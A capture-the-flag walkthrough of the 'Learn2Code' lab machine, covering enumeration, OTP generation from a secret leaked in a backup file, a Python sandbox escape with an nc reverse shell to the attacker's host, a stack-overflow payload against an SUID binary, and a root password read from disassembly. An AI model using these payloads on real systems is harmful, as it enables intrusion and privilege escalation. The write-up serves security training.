This is a Linux machine with only the Web service enabled. By exploiting the leaked Google Authenticator secret in the source code, we gained control over OTP generation, thereby obtaining a code execution environment. Simple reconnaissance revealed it to be a Python execution environment with import keyword filtering. However, this could be bypassed using basic built-in operations, Ultimately, we established a foothold on the system via a reverse shell.

We subsequently identified a special program belonging to the root user with SUID bit set. By exploiting a simple stack overflow vulnerability to manipulate a varible, we privot to a regular user account on the system. Within that user's home directory, we discovered a special executable file. Through analysis, we obtained the root user's password.

Summary

Scope

  • Name: Learn2Code
  • Difficulty: Easy
  • OS: Debian
  • IP: Local VM

Learned

Enumeration

Nmap

Overall

# Nmap 7.98 scan initiated Thu Mar  5 11:02:10 2026 as: nmap -p- --min-rate 3000 -oN overall 192.168.1.62
Nmap scan report for 192.168.1.62
Host is up (0.00010s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: 08:00:27:6D:1E:34 (Oracle VirtualBox virtual NIC)

# Nmap done at Thu Mar  5 11:02:15 2026 -- 1 IP address (1 host up) scanned in 4.48 seconds

Detail

# Nmap 7.98 scan initiated Thu Mar  5 11:02:36 2026 as: nmap -sC -sV -O -vv -p80 -oN detail 192.168.1.62
Nmap scan report for 192.168.1.62
Host is up, received arp-response (0.00047s latency).
Scanned at 2026-03-05 11:02:40 CST for 8s

PORT   STATE SERVICE REASON         VERSION
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.38 ((Debian))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Access system
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:6D:1E:34 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.98%E=4%D=3/5%OT=80%CT=%CU=36776%PV=Y%DS=1%DC=D%G=N%M=080027%TM=
OS:69A8F258%P=x86_64-pc-linux-gnu)SEQ(SP=108%GCD=1%ISR=109%TI=Z%CI=Z%II=I%T
OS:S=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=
OS:M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=F
OS:E88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)

Uptime guess: 4.491 days (since Sat Feb 28 23:16:02 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: All zeros

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar  5 11:02:48 2026 -- 1 IP address (1 host up) scanned in 11.73 seconds

UDPScan

# Nmap 7.98 scan initiated Thu Mar  5 11:03:11 2026 as: nmap -sU --top-ports 32 -oN udpscan 192.168.1.62
Nmap scan report for 192.168.1.62
Host is up (0.00054s latency).
Not shown: 31 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc
MAC Address: 08:00:27:6D:1E:34 (Oracle VirtualBox virtual NIC)

# Nmap done at Thu Mar  5 11:03:45 2026 -- 1 IP address (1 host up) scanned in 34.43 seconds

Web

Since only the web service enabled, I notice that index.php need OTP code for GoogleAuthenticator. And I find some interesting files with enumeration.

❰curtain❙~/workspace/shooting/hmvm/learn2code❱✔≻ feroxbuster -u http://192.168.1.62/ -w /usr/share/wordlists/dirb/common.txt -x php,txt,js

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.13.1
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://192.168.1.62/
 🚩  In-Scope Url          │ 192.168.1.62
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.13.1
 💉  Config File           │ /home/curtain/.config/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, txt, js]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       17l       42w      489c http://192.168.1.62/includes/js/functions.js
200      GET       30l       47w      357c http://192.168.1.62/includes/css/style.css
200      GET       21l       64w      546c http://192.168.1.62/includes/js/custom_lib.js
200      GET        0l        0w        0c http://192.168.1.62/includes/css/style.bak
200      GET        7l      683w    60010c http://192.168.1.62/includes/js/bootstrap.min.js
200      GET       21l       64w      546c http://192.168.1.62/includes/js/custom_lib.bak
200      GET        2l     1276w    88145c http://192.168.1.62/includes/js/jquery-3.4.1.min.js
200      GET        7l     2122w   159515c http://192.168.1.62/includes/css/bootstrap.min.css
200      GET       33l       78w     1161c http://192.168.1.62/
200      GET        1l     9962w   194435c http://192.168.1.62/includes/js/bootstrap.min.js.map
200      GET        0l        0w        0c http://192.168.1.62/includes/php/access.php
200      GET        1l    48613w   641867c http://192.168.1.62/includes/css/bootstrap.min.css.map
301      GET        9l       28w      315c http://192.168.1.62/includes => http://192.168.1.62/includes/
200      GET       33l       78w     1161c http://192.168.1.62/index.php
200      GET       16l       35w      319c http://192.168.1.62/includes/php/access.php.bak
200      GET        1l        4w       19c http://192.168.1.62/includes/php/runcode.php
200      GET        1l        4w       19c http://192.168.1.62/includes/php/coder.php
200      GET        0l        0w        0c http://192.168.1.62/includes/php/GoogleAuthenticator.php
200      GET        1l        8w       51c http://192.168.1.62/todo.txt
[####################] - 6s     18580/18580   0s      found:19      errors:1
[####################] - 5s     18456/18456   3490/s  http://192.168.1.62/
[####################] - 0s     18456/18456   55590/s http://192.168.1.62/includes/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s     18456/18456   376653/s http://192.168.1.62/includes/js/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s     18456/18456   44688/s http://192.168.1.62/includes/css/ => Directory listing (add --scan-dir-listings to scan)
[####################] - 0s     18456/18456   65447/s http://192.168.1.62/includes/php/ => Directory listing (add --scan-dir-listings to scan)

Then I take a closer look at these files like following.

Code length restriction.

<input type="number" class="form-control text-center" min-length="6" max-length="6" id="code" name="code">

check_code() logic.

function check_code() {
	var params = new Array("action=check_code", "code="+$('#code').val());
	php_ajax(params, "includes/php/access.php", function(response) {
		if (response.indexOf("wrong") != -1) {
			$('.result').show();
		} else {
			$('body').html(response);
		}
	});
}

bak file of access.php.

❰curtain❙~/workspace/shooting/hmvm/learn2code❱✔≻ curl http://192.168.1.62/includes/php/access.php.bak
<?php
	require_once 'GoogleAuthenticator.php';
	$ga = new PHPGangsta_GoogleAuthenticator();
	$secret = "S4I22IG3KHZIGQCJ";

	if ($_POST['action'] == 'check_code') {
		$code = $_POST['code'];
		$result = $ga->verifyCode($secret, $code, 1);

		if ($result) {
			include('coder.php');
		} else {
			echo "wrong";
		}
	}
?>

Now I have following critical information about that service:

  • code length equal to 6.
  • access.php is responsible for handling check_code.
  • the bak file of access.php leaks the secret of GoogleAuthenticator.

After Google search for that keyword. I finally get this repo for replay the OTP code if know the secret. Replace the secret with what I get before, and I get the OTP code currently valid.

Checking Code '004083' and Secret 'S4I22IG3KHZIGQCJ':

With this correct code, I get a page like this and with simple recon I know this is a Python environment.

2026-03-05_14-22-02_screenshot.png

Python Sandbox

2026-03-05_14-25-14_screenshot.png

And I immediately try a simple reverse shell but it fails for malicious code. I known it filter out the import keyword after some more tries. Then I google for Python sandbox escape and get that resource.

Then I escape this simple sandbox with following payload:

__import__('os').system('nc -e /bin/bash 192.168.1.33 3333')

Privilege Escalation

www-data is the initial user I get. I find this interesting file when gathering basic information of system.

www-data@Learn2Code:/var/www/html/includes$ uname -a
uname -a
Linux Learn2Code 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64 GNU/Linux
www-data@Learn2Code:/var/www/html/includes$ crontab -l
crontab -l
no crontab for www-data
www-data@Learn2Code:/var/www/html/includes$ find / -mount -perm -u=s 2>/dev/null
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/chsh
/usr/bin/mount
/usr/bin/passwd
/usr/bin/su
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/MakeMeLearner
/usr/bin/chfn
www-data@Learn2Code:/var/www/html/includes$ ls -l /usr/bin/Ma*
ls -l /usr/bin/Ma*
-r-sr-sr-x 1 root www-data 16864 Sep 28  2020 /usr/bin/MakeMeLearner

And it seems need an argument and will change to user learner if I set the modified variable to 0x61626364.

www-data@Learn2Code:/var/www/html/includes$ file /usr/bin/MakeMeLearner
file /usr/bin/MakeMeLearner
/usr/bin/MakeMeLearner: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bb387daabdaf0f68bfa1a29f8b8190c076dd6ad8, for GNU/Linux 3.2.0, not stripped
www-data@Learn2Code:/var/www/html/includes$ /usr/bin/MakeMeLearner
/usr/bin/MakeMeLearner
MakeMeLearner: please specify an argument

www-data@Learn2Code:/var/www/html/includes$ /usr/bin/MakeMeLearner -h
/usr/bin/MakeMeLearner -h
Change the 'modified' variable value to '0x61626364' to be a learnerTry again, you got 0x00000000

After download that file and load it with IDA, I get:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char dest[76]; // [rsp+10h] [rbp-50h] BYREF
  int v5; // [rsp+5Ch] [rbp-4h]

  if ( argc == 1 )
    errx(1, "please specify an argument\n", envp);
  printf("Change the 'modified' variable value to '0x61626364' to be a learner");
  v5 = 0;
  strcpy(dest, argv[1]);
  if ( v5 == 0x61626364 )
  {
    setuid(1000u);
    setgid(1000u);
    system("/bin/bash");
  }
  else
  {
    printf("Try again, you got 0x%08x\n", v5);
  }
  return 0;
}

Stack Overflow

Obviously there is a stack overflow vulnerability which I can override the variable v5 if the input argument length enough. And I get the offset is 0x50 from comment of code. Then I privot to user learner by this payload:

www-data@Learn2Code:/var/www/html/includes/php$ /usr/bin/MakeMeLearner aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadcba
/usr/bin/MakeMeLearner aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadcba
learner@Learn2Code:/var/www/html/includes/php$ id
id
uid=1000(learner) gid=33(www-data) groups=33(www-data)

Root Password Leak

Then I also find a interesting file within the home directory of user learner.

learner@Learn2Code:/home/learner$ ls -al
ls -al
total 44
dr-x------ 2 learner learner  4096 Sep 28  2020 .
drwxr-xr-x 3 root    root     4096 Sep 28  2020 ..
lrwxrwxrwx 1 root    root        9 Sep 28  2020 .bash_history -> /dev/null
-rw-r--r-- 1 learner learner   220 Sep 28  2020 .bash_logout
-rw-r--r-- 1 learner learner  3526 Sep 28  2020 .bashrc
-rw-r--r-- 1 learner learner   807 Sep 28  2020 .profile
-r-x------ 1 learner learner 16608 Sep 28  2020 MySecretPasswordVault
-r-------- 1 learner learner    14 Sep 28  2020 user.txt

Like before, load it with IDA will leak a password, I try this password with su and successfully privot to root!

public main
main proc near

var_18= qword ptr -18h
var_10= qword ptr -10h
var_8= qword ptr -8

; __unwind {
push    rbp
mov     rbp, rsp
sub     rsp, 20h
lea     rax, aNoi98ho   ; "NOI98hO"
mov     [rbp+var_8], rax
lea     rax, aIhj       ; "Ihj"
mov     [rbp+var_10], rax
lea     rax, aJj        ; ")(Jj"
mov     [rbp+var_18], rax
lea     rdi, s          ; "If you are a learner, i'm sure you know"...
call    _puts
mov     eax, 0
leave
retn
; } // starts at 1135
main endp